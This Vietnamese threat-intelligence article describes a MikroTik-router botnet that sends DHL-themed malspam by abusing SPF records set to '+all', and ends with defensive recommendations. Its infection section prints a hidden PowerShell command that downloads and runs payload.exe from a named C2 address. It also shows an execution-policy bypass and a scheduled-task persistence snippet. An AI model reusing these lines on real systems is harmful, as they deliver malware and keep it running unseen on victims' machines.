Botnet lợi dụng cấu hình DNS sai để phát tán mã độc qua chiến dịch malspam

Phát hiện ban đầu
Không lâu trước đây, nhóm Infoblox Threat Intel đã phát hiện một botnet quy mô lớn phân phối mã độc thông qua các chiến dịch spam, với kỹ thuật giả mạo tên miền gửi đi. Khác với dạng email spoofing thường thấy, chiến dịch này khai thác cấu hình sai trong DNS (SPF records) để vượt qua các cơ chế bảo vệ email.
Botnet này được xây dựng từ hàng loạt thiết bị MikroTik bị xâm nhập, vận hành như một mạng lưới toàn cầu chuyên gửi email độc hại giả mạo các tên miền hợp pháp. Dù mẫu malspam quan sát được chủ yếu phát tán trojan, botnet có khả năng phục vụ cho nhiều hoạt động ác ý khác.
Tổng quan về botnet
Botnet là tập hợp các thiết bị bị chiếm quyền điều khiển từ xa nhằm thực hiện các hành vi độc hại trên diện rộng. Nhờ tính chất phân tán, botnet vừa khó bị triệt phá vừa che giấu được danh tính kẻ tấn công.
Một số mục đích phổ biến của botnet gồm:
DDoS: tấn công từ chối dịch vụ bằng cách làm nghẽn hạ tầng mạng hoặc dịch vụ trực tuyến.
Spam & phishing: gửi số lượng lớn email rác hoặc lừa đảo nhằm đánh cắp thông tin.
Credential stuffing: thử hàng loạt cặp tài khoản/mật khẩu để chiếm đoạt truy cập.
Data theft: đánh cắp dữ liệu cá nhân, tài chính, hoặc tài sản trí tuệ.
Cryptojacking: lợi dụng tài nguyên hệ thống để đào tiền mã hóa.
Proxy networks: biến thiết bị thành proxy che giấu vị trí thực sự.
Click fraud: tạo lượt nhấp giả để gian lận quảng cáo trực tuyến.
Chiến dịch malspam: “Hóa đơn bất ngờ”
Cuối tháng 11, các nhà nghiên cứu ghi nhận một chiến dịch spam giả mạo DHL, gửi đi email có nội dung về hóa đơn vận chuyển. Tệp đính kèm thường mang tên dạng InvoiceXXX.zip hoặc TrackingXXX.zip, bên trong là mã độc trojan.
Quá trình phân tích cho thấy tập tin JavaScript obfuscate sẽ thực thi PowerShell kết nối tới máy chủ C2 tại 62.133.60[.]137 (AS215540), vốn có lịch sử liên quan đến hoạt động từ Nga.
Cơ chế lây nhiễm (Infection Mechanism)
Cuộc tấn công bắt đầu từ một tệp ZIP chứa file JavaScript đã được obfuscate. Khi người dùng giải nén và chạy tệp này, script tạo và gọi một loader PowerShell, loader này sẽ kết nối đến máy chủ C2 để tải xuống các payload tiếp theo.
Đoạn mã JavaScript minh họa cách lệnh PowerShell được gọi:
var cmd = 'powershell -NoProfile -WindowStyle Hidden -Command ' +
'"$wc = New-Object System.Net.WebClient; ' +
'$wc.DownloadFile(\'http://62.133.60.137/payload.exe\', \'C:\\Users\\Public\\payload.exe\'); ' +
'Start-Process \'C:\\Users\\Public\\payload.exe\'"';
WScript.Shell.Run(cmd, 0, true);
Khi loader PowerShell chạy, nó kiểm tra ngữ cảnh thực thi bằng Get-ExecutionPolicy. Nếu chính sách chặn việc chạy script, malware tạm thời bỏ qua giới hạn này bằng:
Set-ExecutionPolicy Bypass -Scope Process
Để duy trì sự tồn tại trên hệ thống, malware tạo một scheduled task tên "Updater" chạy khi người dùng đăng nhập:
$action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-NoProfile -WindowStyle Hidden -File C:\Users\Public\payload.exe'
$trigger = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName 'Updater' -Description 'System Updater'
Phương thức này đảm bảo payload được tái khởi động sau mỗi lần khởi động/đăng nhập, làm tăng độ bền của chiến dịch và khó bị loại bỏ.
Hạ tầng botnet dựa trên MikroTik

Trong hàng chục nghìn email thu thập được, phân tích header cho thấy khoảng 13.000 thiết bị MikroTik bị chiếm quyền điều khiển. Các router này được cài script kích hoạt SOCKS proxy, biến chúng thành bộ chuyển tiếp TCP. Cấu hình này vừa che giấu nguồn gốc lưu lượng, vừa khiến toàn bộ botnet có thể bị các tác nhân khác lợi dụng.
Điều đáng lo ngại là nhiều thiết bị bị khai thác ngay cả khi đã chạy firmware mới. Nguyên nhân có thể xuất phát từ việc tồn tại tài khoản mặc định admin không mật khẩu, hoặc các lỗ hổng RCE trước đó. Việc chạy SOCKS proxy công khai (open SOCKS4) làm cho mạng proxy này trở thành tài nguyên chia sẻ cho nhiều tác nhân, gia tăng quy mô và độ hiểm độc của các hoạt động tiếp theo (ví dụ: phát tán mã độc, chuyển tiếp lưu lượng C2, hoặc che giấu DDoS).
DNS SPF – “cửa hậu” cho malspam
Để lọt qua các bộ lọc email, kẻ tấn công đã lợi dụng cấu hình sai trong SPF records.
Ví dụ đúng:
v=spf1 include:example.com -all
Trong đó -all yêu cầu từ chối mọi máy chủ không được ủy quyền.
Ví dụ sai mà chiến dịch này tận dụng:
v=spf1 include:example.com +all
Cấu hình này cho phép bất kỳ máy chủ nào gửi email dưới tên miền hợp pháp, gần như vô hiệu hóa SPF. Trong chiến dịch được phát hiện, có tới 20.000 tên miền bị lạm dụng theo cách này.
Kết luận
Điều tra cho thấy:
Hơn 13.000 router MikroTik bị lây nhiễm và vận hành như proxy mở (SOCKS4).
Khoảng 20.000 tên miền bị lợi dụng do cấu hình SPF sai.
Mạch lây nhiễm bắt đầu từ file JavaScript obfuscated trong ZIP, tiếp theo là loader PowerShell, bypass execution policy khi cần và tạo scheduled task để duy trì persistence.
Khuyến nghị
Botnet này có thể phục vụ nhiều mục đích độc hại: từ phát tán mã độc, DDoS đến lừa đảo và đánh cắp dữ liệu. Phía FPT Threat Intelligence đưa ra các khuyến nghị sau:
Cấu hình đúng SPF, DKIM, DMARC.
Thường xuyên kiểm tra bảo mật thiết bị (đặc biệt router/thiết bị biên) để ngăn việc bị lợi dụng làm proxy.
Loại bỏ tài khoản mặc định, cập nhật firmware, và tắt dịch vụ không cần thiết trên thiết bị mạng.
Người quản trị có thể dễ dàng kiểm tra SPF bằng:
Trên Linux/macOS:
dig +short txt example.com | grep spfTrên Windows:
nslookup -type=txt example.com | Select-String -Pattern "spf"






